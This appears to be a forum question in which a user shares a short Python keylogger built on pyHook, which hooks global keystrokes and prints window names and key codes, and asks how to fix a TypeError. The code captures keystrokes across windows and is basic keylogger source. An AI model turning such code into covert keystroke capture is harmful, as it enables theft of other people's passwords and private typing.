I'm experimenting with a keylogger:
import pyHook, pythoncom
def eventoTeclado(event):
data_key = 'WindowName:'+str(event.WindowName)+ '; Ascii:'+ str(event.Ascii)+" "+ chr(event.Ascii)+ '; Key:'+ str(event.Key)+ '; KeyID:'+ str(event.KeyID)
print ('WindowName:',event.WindowName)
print ('Ascii:', event.Ascii, chr(event.Ascii))
print ('Key:', event.Key)
print ('KeyID:', event.KeyID)
print ('ScanCode:', event.ScanCode)
return True
controlador = pyHook.HookManager()
controlador.KeyDown = eventoTeclado
controlador.HookKeyboard()
pythoncom.PumpMessages()
the code works well in some windows, but for example in the notebook or google returns me:
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
how could I solve this error?